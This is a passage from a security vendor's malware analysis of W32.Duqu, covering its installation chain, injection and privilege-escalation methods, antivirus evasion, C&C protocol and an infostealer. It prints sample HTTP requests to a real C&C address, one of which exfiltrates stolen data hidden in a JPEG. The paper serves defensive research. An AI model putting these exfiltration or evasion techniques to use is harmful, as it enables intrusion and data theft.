little actionable information would likely have been found due to their limited purpose of simply forwarding traf -
fic.
Through the command and control server, the attackers were able to download additional executables, including
an infostealer that can perform actions such as enumerating the network, recording keystrokes, and gathering
system information. The information is logged to a lightly encrypted and compressed local file, and then must
be exfiltrated out. In addition to this infostealer, three more DLLs were pushed out by the C&C server on October
18.
The threat uses a custom command and control protocol, primarily downloading or uploading what appear to be
.jpg files. However, in addition to transferring dummy .jpg files, additional encrypted data is appended to the .jpg
file for exfiltration, and likewise received. The use of the .jpg flies is simply to obfuscate network transmissions.
The threat does not self-replicate, but based on forensic analysis of compromised computers, the threat was
instructed, likely using the C&C server, to replicate through network shares to additional computers on the net -
work.W32.Duqu: The precursor to the next Stuxnet
Page 3Security Response
A non-default configuration file was created for those infections, instructing the threat to not use the external
C&C server, but instead use a peer-to-peer C&C model. In these cases, the newly compromised computer is
instructed to communicate with the infecting computer, which proxies all the C&C traffic back to the external
C&C server. Using a peer-to-peer C&C model allows the threat to access computers that may not be connected
directly to the external Internet and also avoid the detection of potentially suspicious external traffic from mul -
tiple computers.
Finally, the threat is configured to run for 30 days by default. After 30 days, the threat will automatically remove
itself from the system. However, Duqu has downloaded additional components that can extend the number
of days. Thus, if the attackers are discovered and they lose the ability to control compromised computers (for
example, if the C&C servers are shutdown), the infections will eventually automatically remove themselves, pre -
venting possible discovery.
Duqu shares a great deal of code with Stuxnet; however, the payload is completely different. Instead of a payload
designed to sabotage an industrial control system, it has been replaced with general remote access capabilities.
The creators of Duqu had access to the source code of Stuxnet, not just the Stuxnet binaries. The attackers in -
tend to use this capability to gather intelligence from a private entity that may aid future attacks on a third party.
Also, reports of a similar threat in April, 2011, known as “Stars” by Iranian officials, may in fact be Duqu.
While suspected, no similar precursor files have been recovered that date prior to the Stuxnet attacks.
CrySys, the original research lab that discovered this threat, has also allowed us to include their detailed initial
report, which you can find as an appendix.
Infection Statistics
Geographic distribution
At the time of writing, Duqu infections have been confirmed in six possible organizations in eight countries. The
confirmed six possible
organizations include:
Organization A— •
France, Netherlands,
Switzerland, Ukraine
Organization B—India •
Organization C—Iran•
Organization D—Iran•
Organization E—Sudan•
Organization F— •
Vietnam
Note some organizations
are only traceable back to
an ISP and thus, all six may
not be distinct organiza -
tions. Furthermore, due to
grouping by IP addresses,
we cannot definitively
identify the organizations.
Other security vendors have reported infections in:
Austria•
Hungary•
Indonesia•
United Kingdom•
Iran (Infections different from those observed by Symantec.)• Figure 1
Geographic distribution
A
EC
FBD
*Letters represent
organizations compromised.W32.Duqu: The precursor to the next Stuxnet
Page 4Security Response
File history
Duqu has three files: a driver, a main DLL, and an encrypted configuration file that contains the time the infec -
tion occurred. Inside the main DLL is a resource numbered 302, which is actually another DLL. Two Duqu vari -
ants were recovered in our initial investigation. Additional variants have since been recovered.
Functional differences between variants are minor. Primarily, the names of registry key and files used are dif -
ferent and unnecessary code has been removed. Additional analysis of variant differences in discussed in the
Variant s section.
Additional files, listed in table 2, were downloaded by the command and control server and injected into pro -
cesses for execution or saved as temporary filenames.
Based on the compile times, we can derive a history of the variants and additional downloaded modules. Variant
15 was the earliest variant recovered and the attack date of April, 2011 coincides with media reports of a Stux -
net-like infection, referred to as “Stars” in Iran. However, based on compile times, the attackers may have been
active as early as November, 2010. Further activity occurs throughout the summer and into the fall of 2011.
Only two major driver variants exist: the first compiled in November 2010, followed by an update on October 17,
2011, demonstrating activity by the attackers even after the public disclosure on Duqu. Table 1
Duqu variants
Driver Main DLL Configuration File
File name Compile time File name Compile time File name Infection time
Variant 1 jminet7.sys 11/3/2010 17:25 netp191.PNF 11/4/2010 16:48 netp192.pnf 8/11/2011 7:50
Variant 2 cmi4432.sys 11/3/2010 17:25 cmi4432.pnf 7/17/2011 7:12 cmi4464.pnf 8/18/2011 7:29
Variant 3 nfred965.sys 11/3/2010 10:25 netf2.pnf 10/3/2011 4:37
Variant 4 nfred965.sys 11/3/2010 10:25 netf2.PNF 10/18/2011 3:07
Variant 5 nfred965.sys 10/17/2011 20:06 netf1.PNF 7/17/2011 netf2.PNF 10/18/2011 3:07
Variant 6 nred961.sys 11/3/2010 17:25
Variant 7 adp55xx.sys
Variant 8 adpu321.sys 10/17/2011 20:06
Variant 9 iaStor451.sys 11/3/2010 6:13
Variant 10 allide1.sys iddr021.pnf 11/4/2010 16:48
Variant 11 iraid18.sys ird182.pnf
Variant 12 noname.sys
Variant 13 igdkmd16b.sys 10/17/2011 20:06
Variant 14 igdkmd16b.sys netq795.pnf
Variant 15 11/3/2010 17:25 4/17/2011 3:33 4/21/2011 13:23
Table 2
Additional downloaded files
MD5 Compile Time Infection Date Purpose
9749d38ae9b9ddd81b50aad679ee87ec 6/1/2011 3:25:18 Stealing information
4c804ef67168e90da2c3da58b60c3d16 10/17/2011 17:07:47 10/18/2011 Reconnaissance module
856a13fcae0407d83499fc9c3dd791ba 10/17/2011 16:26:09 10/18/2011 Lifespan extender
92aa68425401ffedcfba4235584ad487 8/9/2011 21:37:39 10/18/2011 Stealing information
164aa9cd56d900341535551464af43b7 10/10/2011 15:09:15 10/16/2011 Reconnaissance module
66a7e49ef0ebf10fb54621861c6dbfff 08/10/2011 4:05:07 10/16/2011 Lifespan extenderW32.Duqu: The precursor to the next Stuxnet
Page 5Security Response
Finally, the infostealer appears to have been first created along the same timeframe, in June 2011. The most re -
cent variant was created on October 17, prior to the server being shutdown. Two of the additional DLLs pushed
from the C&C were compiled hours before this sample.
Note that the recovered Stuxnet files date between June 2009 and March 2010 and therefore date prior to the
first development of these variants.
Technical Analysis
Installation
In one case, Duqu arrived at the target using a specially crafted, Microsoft Word document. The Word document
contained a currently undisclosed 0-day kernel exploit that allows the attackers to install Duqu onto the com -
puter unbeknownst to the user.
The full installation process for Duqu is quite involved and lengthy. To illustrate the installation process as simply
as possible it can be divided into 2 parts: the exploit shellcode and the installer.
Exploit shellcode
The vulnerability details are currently undisclosed due to the current unavailability of a patch. Future versions of
this paper will include the details related to the vulnerability.
When the Word document is opened, the exploit is triggered. The exploit contains kernel mode shellcode, which
will first check if the computer is already compromised by looking for the registry value HKEY_LOCAL_MACHINE\
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\“CF1D”. If the computer has already
been compromsed, the shellcode gracefully exits.
If the computer has not been infected, the shellcode decrypts two executable files from within the Word docu -
ment: a driver file and installer DLL. The shellcode then passes execution to the extracted driver file, which
injects code into services.exe, as defined by the installer configuration file. The code then executes the installer
DLL.
Finally, the shellcode will replace itself with zeros, wiping itself from memory.
Installer
Once the driver file has passed control to the installer DLL, the installer proceeds to decrypt three files from
within itself: Duqu’s main DLL, a .sys driver file that is the load point that starts Duqu after a reboot, and a
installer configuration file. The main DLL and driver file are the only components that will be left on the system
after installation has completed, along with a different configuration file discussed later.
The installer configuration file has two timestamps inside representing the timeframe window for installation.
In the sample received, the time frame was eight days. The installer will terminate if executed outside this time
window.
If the date falls within the timeframe, the installer DLL then passes execution to Duqu’s main DLL by hooking
ntdll.dll in the same manner as Stuxnet. Installation continues from inside Duqu’s main DLL.
The main DLL component has eight exports. The installation is handled by exports 4 and 5. Additional export
functionality is discussed in the Main DL L section. Export 4 is responsible for finding an appropriate process to
inject into, injecting the main DLL (itself) into this process and passing along a pointer to the three decrypted
files.
Export 5 is the actual installation routine. Export 5 drops the load point driver into the %System%\Drivers\
folder with a name defined by the installation configuration file. Next, a service is created so the driver is loaded
every time Windows starts. W32.Duqu: The precursor to the next Stuxnet
Page 6Security Response
The main DLL is encrypted and placed in the %Windir%\inf\ folder with a name defined by the installation
configuration file. This file will be decrypted and executed by the driver when the computer starts. The final step
of the installation phase involves the main DLL reading a configuration file from within itself, encrypting it, and
placing it in the %Windir%\inf\ folder as well.
When the installation phase is completed there are just three files left on the disk: the driver, the encrypted main
DLL (which will be decrypted by the driver), and the encrypted main DLL configuration file.
The entire installation process is quite involved. During the process seven different files are decrypted, at least
three processes are injected into, and ntdll.dll is hooked multiple times to allow dynamic loading of decrypted
components into memory. In fact, during the entire process every part of Duqu resides decrypted only in mem -
ory. Only one unencrypted file, the load-point driver, is ever written to the disk during the entire process. Duqu
was clearly designed to minimize detectable footprints left on the disk.
Installed component architecture
The threat begins execution at system start through a registered driver (e.g. JMINET7.SYS or CMI4432.SYS). The
driver file injects the main DLL (e.g. NETP191.PNF or CMI4432.PNF) into services.exe. Using the configuration
file (e.g. NETP192.PNF or CMI4464.PNF), the main DLL extracts an embedded file: resource 302. Resource 302
is a DLL that contains another embedded section (.zdata) that contains the main functionality of the threat. Figure 2
W32.Duqu installation process
Legitimate
Document
Exploit
Shellcode
Installer (.dll)Driver file(.sys)
Document
opened,
triggers exploit
Exploit loads
shellcode
Shellcode
decr ypts driver
and installer
Shellcode
executes driver
Driver injects
installer into
services .exeDriver file(.sys)
Services .exeInstallation
Code
Duqu
main DLL
Config fileLoad point
driver
Installer
decr ypts three
files and passes
execution to the
main
componentDecr yption
6
5
2
1
4
3W32.Duqu: The precursor to the next Stuxnet
Page 7Security Response
Note that another executable ( the
installe r) must have created the
driver, the configuration file, and the
main DLL, as well as registered the
driver as a service. The remaining
parts of this document will discuss
the JMINET7/NETP191 variant
(variant 1) in terms of the separate
sections, and enumerates the minor
differences between this and variant
2.
Load point (JMINET7.SYS)
The purpose of the driver is to acti -
vate the threat at system start. The
driver is defined as a service with
the name and display name of “Jmi -
NET3” under the following registry
subkey:
HKEY _ LOCAL _ MACHINE\SYS -
TEM\CurrentControlSet\Ser -
vices\JmiNET3
The driver is loaded at kernel
initialization (Start Type = 1) and is
responsible for injecting the main
DLL (NETP191.PNF) into a specified
process. The process name to inject
into, and the DLL file path that
should be injected, are located in
the following registry subkey:
HKEY _ LOCAL _ MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3\FILTER
The data held within the registry subkeys are encrypted. Once decrypted, the data has the following format:
DWORD control[4]
DWORD encryption _ key
DWORD sizeof _ processname
BYTE processname[sizeof _ processname]
DWORD sizeof _ dllpath
BYTE dllpath[sizeof _ dllpath]
Note the encryption_key field. The DLL is encrypted on the disk and is decrypted using this key before it is in -
jected into other processes. The encryption uses a simple multiplication rolling key scheme. By default, the main
DLL is located at%SystemDrive%\inf\netp191.pnf and the injected process is services.exe.
The driver will ensure the system is not in Safe Mode and no debuggers are running. The driver then registers a
DriverReinitializationRoutine and calls itself (up to 200 times) until it is able to detect the presence of the HAL.
DLL file. This ensures the system has been initialized to a point where it can begin injecting the main DLL.
The driver injects the DLL by registering a callback with PsSetLoadImageNotifyRoutine. PsSetLoadImageNotify -
Routine will execute the callback any time an image, such as a DLL or EXE, is loaded and prior to execution. Figure 3
Threat architecture of variant 1
Loads and decrypts
Contains
Creates
CreatesContainsLoads and executes
ContainsNetp191.pnf
Netp192.pnf
Lifetime value
DNS Addresses
Injected processes
zdata sectionresource_302
sort[RAND].nls. C&C module
lsass.exeresource_302Jminet7.sysW32.Duqu: The precursor to the next Stuxnet
Page 8Security Response
If the image loaded is KERNEL32.DLL, the driver will get the
addresses of relevant APIs by comparing the hashes of their
name to a predefined list.
If the image matches services.exe, the driver will inject
some trampoline code that contains the API addresses
along with the DLL. The entry point will then be modified to
point to the trampoline code.
As part of its operation JMINET7.SYS will also create two
devices:
\DEVICE\Gpd1
\Device\{3093AAZ3-1092-2929-9391}
JMINET7.SYS is functionally equivalent and almost a binary
match to MRXCLS.SYS from Stuxnet.
Figure 4 shows how NETP191.PNF is injected.
Main DLL (NETP191.PNF)
NETP191.PNF is the main executable that will load all the
other components. NETP191.PNF contains the payload DLL
in resource 302 and an encrypted configuration data block.
The NETP191.PNF DLL contains eight exports, named by
number. These exports will extract resource 302, which
loads the primary payload of the threat. The exports are as
follows:
1 – Initialize the data•
2 – Run export number 6•
3 – Get the version information from the configuration •
data
4 – Inject itself into a suitable process and run export 5 •
(only if on a 32bit platform)
5 – System setup•
Pre-install: Drop the provided load-point driver and create service•
Post-install: Load the resource 302 DLL (resource 302 is a loader for the main payload) •
6 – Cleanup routine•
7 – Start the RPC component•
8 – The same as export 1, but with a delay timer•
When executed, NetP191.pnf decrypts the configuration data stored in
Netp192.pnf. A “lifetime” value in the configuration data is checked. If the
sample has been running for more than 30 days then export number 2 is
called. Export 2 calls export 6, which is the cleanup routine. This routine
removes traces of the threat from the compromised computer. If the
threat has been running for less than 30 days, then it continues to func -
tion. The 30-day lifetime check can be extended by the Duqu attackers.
The threat may then check if it is connected to the Internet by perform -
ing a DNS lookup for a domain stored in the configuration data (in this
instance the domain is Microsoft.com). If this fails, an additional DNS lookup is performed on kasperskychk.
dyndns.org. The threat expects this domain to resolve to 68.132.129.18, but it is not currently registered. This
behavior does not occur by default. Figure 4
How NETP191.PNF is injected
services. exe
entr y_point
modified
trampoline code
netp191.pnf
(main DLL)
Figure 5
Resource 302
W32.Duqu: The precursor to the next Stuxnet
Page 9Security Response
NETP191.PNF will then inject itself into one of four processes:
Explorer.exe•
IExplore.exe•
Firefox.exe•
Pccntmon.exe•
The RPC component is only intended for local use and makes seven functions available. These are:
Get the version information from the configuration data•
Load a module and run the export•
Load a module•
Create a process•
Read a file•
Write a file•
Delete a file•
Of these exported functions, Duqu only uses the first three in order to load and execute the embedded resource
302. This RPC component is identical to Stuxnet’s RPC component.
In addition, the DLL can scan for and attempt to bypass components of a variety of security products. This code
is the same as in Stuxnet, but has been updated to handle two additional security products: Kaspersky (version
10 and 11) and Rising Antivirus. Note these routines do not appear to bypass security products as a whole, but
potentially only individual technologies within security products that may proactively detect malicious code.
Duqu first checks to see if any of the following processes are
running:
avp.exe•
Mcshield.exe•
avguard.exe•
bdagent.exe•
UmxCfg.exe•
fsdfwd.exe•
rtvscan.exe•
ccSvcHst.exe•
ekrn.exe•
tmproxy.exe•
RavMonD.exe•
If one is found then Duqu injects itself into the specified pro -
cess in table 3, depending on the particular version of security
product installed.
Payload loader (Resource 302)
This DLL file is contained within the main DLL, NetP191.pnf.
Resource 302 is a loader program. It can load the payload into memory and execute it in several different ways.
The payload is included in the .zdata section of resource 302. The .zdata section is compressed and consists of
the payload DLL, a configuration file containing C&C information, and a second DLL, which contains similar code
to that found at the start of resource 302 itself.
The main function of resource 302 is to load a file into memory. Which file to load is not configurable, but
instead is hardcoded into the payload file that is stored in the .zdata section. We refer to this main function as
LoadFile. Note that functionality also exists to allow the loading of a direct memory buffer, but is not utilized.
LoadFile can be called as follows:
LoadFile ( LoadMethod , ProcessName, String ); Table 3
Processes checked by Duqu
Product Injection Target
Kaspersky Antivirus
(versions 1-7)lsass.exe
Kaspersky Antivirus
(versions 8-11)Kaspersky process
McAfee winlogon.exe
AntiVir lsass.exe
Bitdefender lsass.exe
Etrust v5 and v6 does not perform injection
Etrust (other versions) lsass.exe
Symantec lsass.exe
ESET NOD32 lsass.exe
Trend Trend process
Rising Rising processW32.Duqu: The precursor to the next Stuxnet
Page 10Security Response
Where:
LoadMethod is a number from zero to three that specifies the loading technique to use (discussed below).•
ProcessName is a preferred name to use for the newly loaded file.•
A string that can be passed into resource 302 (normally this is set to 0).•
Summary of the LoadMethod 0 – 3:
0: Hook Ntdll and call LoadLibrary with the parameter sort[RANDOM].nls. This file does not actually exist.•
1: Use a template .exe file to load the payload DLL by creating the executable process in suspended mode and •
then resuming execution.
2: Use CreateProcessAsUser to execute the template executable and elevate privileges as needed.•
3: Attempt to use an existing process name for the template executable and elevate privileges.•
Exports
Resource 302 has 12 exports. The majority of these exports call the LoadFile function, though each export calls
it with different hardcoded parameters:
Export 1: LoadFile( 0 , 0 , 0) •
Export 2: LoadFile( 1, 0 , 0) •
Export 4: LoadFile( 1, 0 , 0) •
Export 5: LoadFile( 1, 0 , 0) •
Export 7: LoadFile( 1, 0 , arg0) •
Export 10: LoadFile( 3 , “iexplore.exe” , 0 ) •
Export 11: LoadFile( 3 , “explorer.exe” , 0 ) •
Export 12: LoadFile( 2 , “explorer.exe” , 0 ) •
Export 13: Run in svchost •
Export 14: Load the second DLL in the .zdata section, and call export 16 •
Export 15: LoadFile( 3 , “svchost.exe” , 0 ) •
Export 16: Inject payload in the default browser and elevate privileges •
Loading techniques
Method 0
This method of loading involves reading ntdll.dll from memory and hooking the following functions:
ZwQueryAttriutesFile•
ZwCloseFile•
ZwOpen•
ZwMapViewOfSection•
ZwCreateSection•
ZwQuerySection•
These functions are replaced with new functions that monitor for the file name sort[RANDOM].nls. When Load -
Library is called with that file name, these replacement functions that are called by LoadLibrary will load the DLL
from a buffer in memory, rather than from the disk. In this way the payload can be loaded like a regular file on
disk, even though it does not exist on the disk (when searching for the file, it will not be found). This routine is
similar to a routine used by Stuxnet.
Method 1
Using this method a template executable is decoded from inside the loader. The template is an executable that
will load a DLL from a buffer and call a specified export from the loaded DLL. The loader populates the template
with the correct memory offsets so that it can find the payload and launch it.
A chosen process is overwritten (it can be one of a list of processes, the default name is svchost.exe).
The chosen process is created in suspended mode and then is overwritten with the template executable. Then
the process is resumed and the template runs, loading the DLL and executing the specified export under the
name of a legitimate process. This routine is also similar to the one used in Stuxnet.W32.Duqu: The precursor to the next Stuxnet
Page 11Security Response
Method 2
This method is similar to Method 1, using the template-loading technique. However, Method 2 attempts to el -
evate privileges before executing the template executable. It can use several different techniques to do this.
First it attempts to gain the following privileges:
“SeDebugPrivilege”•
“SeAssignPrimaryTokenPrivilege”•
“SeCreateTokenPrivilege”•
If this is sufficient the threat uses these to create the template process, as in Method 1.
If the threat still does not have sufficient access, then it will call the following APIs to try to elevate its privileges
further:
GetKernelObjectSecurity•
GetSEcurityDescriptorDACL•
BuildExplicitAccessWithName•
MakeAbsoluteSD•
SetEntriesinACLW•
SetSecurityDescriptorDACL•
SetKernelObjectSecurity•
If it is able to create the process after this, it proceeds. Otherwise it will try to gain the following privileges:
“SeTcbPrivilege”•
“SeAssignPrimaryTokenPrivilege”•
“SeIncreaseQuotaPrivilege”•
“SeImpersonatePrivilege”•
Then the threat attempts to duplicate a token before using that token in a call to CreateProcessAsUser.
Method 3
This method must be supplied by a process name that is already running. This method also uses the template ex -
ecutable to execute the payload DLL and will try to use the last technique (mentioned above) to elevate privileges
also.
.zdata section
The .zdata section is compressed and consists of three files and a header that points to each file. When the
resource is decompressed, it is byte-for-byte identical to the data that is in resource 302 of CMI4432.PNF, the
second variant. The resource in CMI4432.PNF is not an MZ file, it is simply the raw data stored in the resource.
The beginning of the decompressed .zdata section is shown in figure 6. The first dword (shown in red) is a magic
value to denote the start of the index block. The next dword (shown in red) is the offset to the MZ file. The offset
is 00009624 (you can see that next portion marked in red is an MZ file and it is at offset 9624). This is how the Figure 6
Decompressed .zdata section
W32.Duqu: The precursor to the next Stuxnet
Page 12Security Response
loader file finds the payload DLL in the .zdata section. It reads the 24h byte index block, which lets the loader
know the offset and size of the various files stored in the decompressed .zdata section.
In the .zdata section there are two DLLs and one configuration file. The configuration file is not accessed by the
loader at anytime, but is used exclusively by the payload. When the payload is loaded into memory and executed,
the loader also passes a pointer to the decompressed .zdata data so the payload has access to the configuration
file using the index block, as also show above.
As for the other DLL in the .zdata section, it is actually a copy of resource 302 itself, but it does not have a .zdata
section. Export 16 in the loader is able to extract this other DLL from the .zdata section and call export 16. How -
ever, that function appears to be broken.
The index block (above) is the exact same layout that was used in the .stub section of the previous Stuxnet
samples.
Payload (.zdata DLL)
The .zdata section contains the final payload DLL and its associated configuration data. The .zdata payload DLL
is decompressed and loaded by the resource 302 DLL, the payload loader.
The purpose of the .zdata DLL is command and control functionality, which allows downloading and executing
updates and additional payload modules. The command and control protocol is a custom protocol using one of
the following methods:
Encapsulated in HTTP over port 80•
Encapsulated in HTTP over port 80 using a proxy (may be authenticated)•
Directly over port 443•
Encapsulated in HTTPS over port 443•
Encapsulated in SMB primarily for peer-to-peer command and control•
To function properly, it expects a blob of data (.zdata) with the structure in
figure 8.
The template is an executable file with an empty loader component which
may be used by the module to load and execute other modules, potentially
downloaded through the command and control server.
Typically, the configuration will contain client information blocks specify -
ing the port, server, and encapsulation protocol to use. The configuration
file can contain multiple client information blocks, allowing Duqu to try
multiple, different C&C servers or protocols. Figure 7
The .zdata section inside Resource302.dll
Figure 8
.zdata structure
Magic value:
0x48747193
Payload .zdata DLL
(itself)
C&C
Configuration Data
302 Template DLLW32.Duqu: The precursor to the next Stuxnet
Page 13Security Response
Clients may be configured to contact other compromised computers. These computers will then proxy the traffic
to the C&C server. If the system is to be used as a proxy, the configuration file will contain server information
blocks. These specify what port to listen on and what encapsulation protocol to use. More information on this
functionality can be found in the Peer-to-Peer Command and Contro l section.
The command and control functionality can download new executables and either execute them directly in
memory or write them to disk. When written to disk, they are saved encrypted using a file name defined in the
configuration data. Typical filenames are %Temp%\~[VARIABLE].tmp. When using HTTP, the client sends re -
peated GET requests to the server. The server replies with modules to execute. To return data, Duqu uses a POST
and sends a small blank JPG file appended with the data to send to the server. When using HTTPS, the same
happens, except within an encrypted HTTPS session. The HTTP and HTTPS protocol only encapsulate another
Duqu-specific custom protocol.
When sending traffic directly to port 443 or named pipes, no encapsulation is used and the Duqu protocol traffic
is sent directly with the addition of eight initial bytes, which is a validation key.
The Duqu command and control protocol is a reliable transport protocol, similar in features to TCP. The com -
mand and control protocol implements fragmentation, reordering, and handles duplicate and missing packets
via sequence and ACK numbers.
The data stream consists of a 12-byte header starting with the ASCII characters ‘SH’. The header is followed by
data chunks, which are assigned sequence and ACK numbers. These data chunks can be encrypted using AES-
CBS, compressed using LZO, and further compressed using a secondary, custom algorithm. The following speci -
fies the format of the network packets.
00 BYTE[12] header, semi-fixed, starts with ‘SH’
0C BYTE type of payload
0D DWORD payload size (n)
11 DWORD sequence number
15 DWORD ack number / total size
19 DWORD unknown
1D BYTE[n] payload (encrypted, or encoded)
The AES key is hardcoded within the sample and differs with each variant. However this key is never sent to the
server. This means the server must guess which key the client is using. This is feasible because of the small num -
ber of infections and the correlation of each variant with different C&C servers. The IV is exchanged in plaintext
when the communication begins.
An example of the protocol works as follows. First an initial HTTPS exchange occurs, as defined by the first con -
nection information block configuration data. For HTTPS, Duqu uses the Windows WinHTTP APIs, which has SSL
support. The server uses a self-signed certificate that may change frequently or via automation. If the HTTPS ex -
change fails, the next connection information block is used, which may specify that HTTP encapsulation should
be used.
An HTTP GET request to the root directory will occur using standard socket APIs.
---
GET / HTTP/1.1
Cookie: PHPSESSID=spwkwq1mtuomg0g6h30jj203j3
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9)
Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729)
Host: 206.183.111.97
Connection: Keep-Alive
---W32.Duqu: The precursor to the next Stuxnet
Page 14Security Response
Note that the custom cookie field is unique for every request. This field is validated by the server and the client;
otherwise the data is discarded. The server replies with an HTTP 200 OK response, containing a small 54x54
white JPG file.
---
HTTP/1.1 200 OK
Content-Type: image/jpeg
Transfer-Encoding: chunked
Connection: Close
---
The module expects certain fields and it parses the response for them. It only continues if they are found. It then
makes a second HTTP POST request, uploading a default .jpg file that is embedded within the .zdata DLL, fol -
lowed by data to send to the command and control server.
---
POST / HTTP/1.1
Cookie: PHPSESSID=spwkwq1tnsam0gg6hj0i3jg20h
Cache-Control: no-cache
Pragma: no-cache
Content-Type: multipart/form-data;
boundary=---------------------------b1824763588154
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9)
Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729)
Host: 206.183.111.97
Content-Length: 1802
Connection: Keep-Alive
---------------------------b1824763588154
Content-Disposition: form-data; name=”DSC00001.jpg”
Content-Type: image/jpeg
[EMBEDDED JPEG AND STOLEN DATA]
---
The server then acknowledges with:
---
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 0
---
The data following the JPG is encrypted and compressed data that the client wishes to send to the command and
control server.
The C&C server’s primary function is to deliver new executables to be executed directly in memory or on the
disk. When files are saved to the disk, using a file name defined in the configuration file, they are saved only in
an AES-encrypted format and decrypted when loaded. Example of modules delivered by the command and con -
trol server can be found in the Downloaded threat s section.
In addition, downloaded modules can instruct the creation of a new payload loader (Resource 302) using the
Resource 302 template embedded inside. The code of the payload loader remains the same, but the embedded
configuration file can be modified.W32.Duqu: The precursor to the next Stuxnet
Page 15Security Response
Command and Control Servers
The C&C servers contacted by Duqu are proxies redirecting connections to either the true C&C server or yet
another proxy. They are virtual machines running the Linux operating system. Unfortunately, the servers
were scrubbed on October 20, 2011 and limited information could be recovered. Even if the servers were not
scrubbed, little actionable intelligence would be recoverable as these servers merely forwarded traffic to an -
other computer.
Under Linux the standard location
for log files is /var/log. This direc -
tory did not exist on the server
image. Additional files contain -
ing potentially useful information
were also missing. The files had
clearly been deleted. When a file is
deleted normally, the name of the
file is removed, but the actual data
remains. Figure 9 demonstrates
this. The entry for file 1 is empty,
but the link to the data and the
data still exist.
However when the deleted files
were examined in this case,
not only were the name entries
removed, but the data itself had
been overwritten as in Figure 10.
Clearly a special tool had been
used to securely delete the data.
However, the attackers made
two mistakes in their attempt to
destroy the evidence. The first
and most obvious was a failure
to delete the contents of the /
var/spool/mail/root file. This file
contains emails intended for the
“root” user—the system admin -
istrator. The second mistake was
to not overwrite the unused space
on the hard drive. This meant that
any files that had been deleted in the standard way, prior to the shredding, potentially still existed on the hard
drive. These two mistakes left behind sufficient information, allowing us to determine how the attackers used
the server.
One very useful tool for Linux computers is called logrotate. This program is usually configured to run every day.
It has a simple function that takes log files generated by a computer in a given day, stores them in a compressed
archive, and deletes the log files. This saves space and also cleans the log file, ready to be populated with new
data the next day. This software was running on the command and control server. It means that during normal
data-to-day operation, log files were regularly deleted in the standard way, and not securely. The data contained
in these files still partially existed on the server. Searching the server for data stored in the particular format the
log file used resulted in the discovery of log remnants indicating SSH connections to the server. Figure 9
Standard file deletion, only names are removed
File 2
File 3
File 4File 1 Data
File 3 DataFile 2 Data
File 4 Data
Figure 10
Secure file deletion, link and data is removed
File 2
File 3
File 4X
File 3 DataFile 2 Data
File 4 DataXW32.Duqu: The precursor to the next Stuxnet
Page 16Security Response
Connections to the server appear
automated based on SSH connection
patterns. Almost every time the con -
nection is dropped, a new connection
is immediately established. What these
connections are being used for is made
clear when the /var/spool/mail/root file
is examined.
Part of the automated systems used
for managing a Linux server includes a
system for emailing log activities that
occurred during the day. These emails
are sent to the root user. If the root
user never retrieves these emails, they
remain in the spool file. These emails
were present on the C&C server. An example of part of one of these emails is show in figure 11.
The most interesting data is contained in the last three lines. These lines show an error reported by the SSH
server. This error is as a result of attempting to forward TCP ports 80 and 443. These errors are reported
throughout the spool file. SSH port forwarding is a useful trick for SSH, whereby someone can connect from a
client to a remote computer and redirect connections from that remote computer to the client computer. This
means that connections to ports 80 and 443 on the C&C server would be redirected to another computer.
Additional information gathered from logs on one server showed the attacker first logged in on January 12th and
continued to do so regularly until October 20th, at which point the various log files were deleted.
Peer-to-peer command and control
The peer-to-peer protocol is not configured by default for use, but has been seen configured for use in cases
where a computer cannot reach the external C&C server. The attackers set a byte in the configuration file to one,
and instead of specifying an external IP address, provide the IP address or string representing a remote resource
(e.g. \\RemoteServerthat is a peer-infected computer.
The peer-to-peer com -
mand and control protocol
can use HTTP or IPC (Inter
Process Communication)
over SMB (Server Message
Block), also known as Named
Pipes. For named pipes, a
newly infected computer will
typically be configured to
connect back to the infecting
computer through \\[INFECT -
ING COMPUTER]\IPC$ using
a predefined named pipe. The peer computer
(which was previously the infecting computer)
then proxies the C&C traffic to the external C&C
server as shown in figure 12.
When using named pipes, the peer-to-peer com -
mand and control protocol is the same one the
original HTTP protocol used, except without the
HTTP transaction headers. In either case no .jpg
files are transferred. Figure 11
Email from mail spool
Figure 12
How commands route through the initial compromised computer
Infected server
Initial infected computer
Command bridg e
Command bridg e
Secure zone
Insecure zone
Internet
Command & C ontrol
ServerW32.Duqu: The precursor to the next Stuxnet
Page 17Security Response
This is a very clever technique for spreading through a network. Most secure networks are configured to have
a ”secure” zone, where internal servers are located. This zone is heavily monitored and controlled. Outside this
zone is a less well-protected network: the general corporate network. As Duqu spreads through the network,
moving from less secure to more secure areas, it is able to always retain a connection back to the C&C server. It
effectively builds a private bridge between compromised computers, leading back to the C&C server. A second
aspect of this technique is that it is discreet. Only one compromised computer in the network will connect directly
to the C&C server, thus reducing the amount of suspicious traffic.
Downloaded threats
Using the Duqu command and control server, the attackers have the ability to download and execute additional
binaries. We have recovered four additional binaries to date. One was resident on a compromised computer as
a temporary file and we observed the other three being downloaded on October 18 and injected straight into
memory—not saved on disk.
Infostealer 1
This is a standalone executable. This file, while recovered on compromised computers, is not found within the
other executables. This file was likely downloaded by Duqu at some time, or downloaded to the compromised
computer through other means.
The file has a number of similarities with the other samples analyzed. In particular, the primary functionality is
performed by exported functions from a DLL contained within the executable. In addition, the contained DLL is
stored as encrypted data in a JPEG file, similar to the command
and control technique. The JPG is the first 8192 bytes of a Hubble
image displayed in figure 13. The existence of this image has
led some to speculate that Duqu may be the “Stars” threat an -
nounced by Iranian officials in April, 2011.
The file is an infostealer. When executed, it extracts the encrypted
DLL from a JPEG stored within it and then executes export num -
ber 2 of that DLL. The DLL steals data and stores it in a randomly
numbered file in the user’s %Temp% folder, prepending the log
files with ~DQ (e.g. ~DQ7.tmp). The file is compressed using bzip2
and then XOR-encrypted. The recorded data can consist of:
Lists of running processes, account details, and domain infor - •
mation
Drive names and other information, including those of shared •
drives
Screenshots•
Network information (interfaces, routing tables, shares list, •
etc.)
Key presses•
Open window names•
Enumerated shares•
File exploration on all drives, including removable drives•
Enumeration of computers in the domain through NetServerEnum•
The executable’s behavior is determined through optional command-line parameters. The usage format is as fol -
lows:
program xxx /in <cmdfile> /out <logfile>
